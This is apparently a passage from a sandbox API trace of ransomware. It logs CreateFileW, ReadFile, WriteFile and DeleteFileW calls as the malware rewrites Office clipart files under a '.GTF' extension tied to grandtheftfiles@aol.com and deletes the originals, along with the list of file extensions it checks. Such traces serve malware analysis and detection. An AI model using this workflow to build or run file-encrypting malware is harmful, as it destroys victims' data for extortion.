	[0085.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.219] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.219] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.219] GetLastError () returned 0x0
	[0085.219] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xb96, lpOverlapped=0x0) returned 1
	[0085.221] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xba0, lpOverlapped=0x0) returned 1
	[0085.222] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.222] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0085.222] SetEndOfFile (hFile=0x380) returned 1
	[0085.222] CloseHandle (hObject=0x380) returned 1
	[0085.223] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.223] SetEndOfFile (hFile=0x368) returned 1
	[0085.224] CloseHandle (hObject=0x368) returned 1
	[0085.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1
	[0085.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.225] lstrlenW (lpString=".doc") returned 4
	[0085.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString=".docx") returned 5
	[0085.225] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0085.225] lstrlenW (lpString=".pdf") returned 4
	[0085.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString=".xls") returned 4
	[0085.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.225] lstrlenW (lpString=".xlsx") returned 5
	[0085.225] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0085.225] lstrlenW (lpString=".ppt") returned 4
	[0085.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.225] lstrlenW (lpString=".zip") returned 4
	[0085.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.225] lstrlenW (lpString=".rar") returned 4
	[0085.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString=".bz2") returned 4
	[0085.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString=".7z") returned 3
	[0085.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.225] lstrlenW (lpString=".dbf") returned 4
	[0085.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.225] lstrlenW (lpString=".1cd") returned 4
	[0085.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".jpg") returned 4
	[0085.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".doc") returned 4
	[0085.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString=".docx") returned 5
	[0085.226] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0085.226] lstrlenW (lpString=".pdf") returned 4
	[0085.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString=".xls") returned 4
	[0085.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.226] lstrlenW (lpString=".xlsx") returned 5
	[0085.226] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0085.226] lstrlenW (lpString=".ppt") returned 4
	[0085.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".zip") returned 4
	[0085.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.226] lstrlenW (lpString=".rar") returned 4
	[0085.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString=".bz2") returned 4
	[0085.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString=".7z") returned 3
	[0085.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".dbf") returned 4
	[0085.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".1cd") returned 4
	[0085.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0085.226] lstrlenW (lpString=".jpg") returned 4
	[0085.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.227] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.227] lstrlenW (lpString="CUPINST.WMF") returned 11
	[0085.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.228] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10326) returned 1
	[0085.228] CloseHandle (hObject=0x368) returned 1
	[0085.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220
	[0085.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.229] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.229] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.229] GetLastError () returned 0x0
	[0085.229] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2856, lpOverlapped=0x0) returned 1
	[0085.244] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2860, lpOverlapped=0x0) returned 1
	[0085.246] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.246] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1
	[0085.246] SetEndOfFile (hFile=0x380) returned 1
	[0085.246] CloseHandle (hObject=0x380) returned 1
	[0085.247] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.247] SetEndOfFile (hFile=0x368) returned 1
	[0085.248] CloseHandle (hObject=0x368) returned 1
	[0085.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1
	[0085.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".doc") returned 4
	[0085.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString=".docx") returned 5
	[0085.251] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0085.251] lstrlenW (lpString=".pdf") returned 4
	[0085.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString=".xls") returned 4
	[0085.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.251] lstrlenW (lpString=".xlsx") returned 5
	[0085.251] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0085.251] lstrlenW (lpString=".ppt") returned 4
	[0085.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".zip") returned 4
	[0085.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.251] lstrlenW (lpString=".rar") returned 4
	[0085.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString=".bz2") returned 4
	[0085.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString=".7z") returned 3
	[0085.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".dbf") returned 4
	[0085.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".1cd") returned 4
	[0085.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".jpg") returned 4
	[0085.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.251] lstrlenW (lpString=".doc") returned 4
	[0085.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.251] lstrlenW (lpString=".docx") returned 5
	[0085.251] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0085.252] lstrlenW (lpString=".pdf") returned 4
	[0085.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString=".xls") returned 4
	[0085.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.252] lstrlenW (lpString=".xlsx") returned 5
	[0085.252] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0085.252] lstrlenW (lpString=".ppt") returned 4
	[0085.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.252] lstrlenW (lpString=".zip") returned 4
	[0085.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.252] lstrlenW (lpString=".rar") returned 4
	[0085.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString=".bz2") returned 4
	[0085.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString=".7z") returned 3
	[0085.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.252] lstrlenW (lpString=".dbf") returned 4
	[0085.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.252] lstrlenW (lpString=".1cd") returned 4
	[0085.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0085.252] lstrlenW (lpString=".jpg") returned 4
	[0085.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.252] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.252] lstrlenW (lpString="DD00234_.WMF") returned 12
	[0085.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.257] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=29628) returned 1
	[0085.257] CloseHandle (hObject=0x2fc) returned 1
	[0085.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220
	[0085.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.259] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.259] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.265] GetLastError () returned 0x0
	[0085.265] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x73bc, lpOverlapped=0x0) returned 1
	[0085.268] WriteFile (in: hFile=0x2fc, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x73c0, lpOverlapped=0x0) returned 1
	[0085.270] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.270] WriteFile (in: hFile=0x2fc, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.270] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.281] CloseHandle (hObject=0x2fc) returned 1
	[0085.283] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.283] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.284] CloseHandle (hObject=0x2d0) returned 1
	[0085.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1
	[0085.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.286] lstrlenW (lpString=".doc") returned 4
	[0085.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.286] lstrlenW (lpString=".docx") returned 5
	[0085.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.286] lstrlenW (lpString=".pdf") returned 4
	[0085.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.286] lstrlenW (lpString=".xls") returned 4
	[0085.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.287] lstrlenW (lpString=".xlsx") returned 5
	[0085.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.287] lstrlenW (lpString=".ppt") returned 4
	[0085.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString=".zip") returned 4
	[0085.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.287] lstrlenW (lpString=".rar") returned 4
	[0085.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString=".bz2") returned 4
	[0085.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString=".7z") returned 3
	[0085.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString=".dbf") returned 4
	[0085.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString=".1cd") returned 4
	[0085.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString=".jpg") returned 4
	[0085.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.287] lstrlenW (lpString=".doc") returned 4
	[0085.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString=".docx") returned 5
	[0085.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.287] lstrlenW (lpString=".pdf") returned 4
	[0085.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.287] lstrlenW (lpString=".xls") returned 4
	[0085.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.287] lstrlenW (lpString=".xlsx") returned 5
	[0085.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.287] lstrlenW (lpString=".ppt") returned 4
	[0085.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.288] lstrlenW (lpString=".zip") returned 4
	[0085.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.288] lstrlenW (lpString=".rar") returned 4
	[0085.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.288] lstrlenW (lpString=".bz2") returned 4
	[0085.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.288] lstrlenW (lpString=".7z") returned 3
	[0085.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.288] lstrlenW (lpString=".dbf") returned 4
	[0085.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.288] lstrlenW (lpString=".1cd") returned 4
	[0085.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0085.288] lstrlenW (lpString=".jpg") returned 4
	[0085.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.288] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.288] lstrlenW (lpString="DD00256_.WMF") returned 12
	[0085.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.289] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2832) returned 1
	[0085.289] CloseHandle (hObject=0x368) returned 1
	[0085.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220
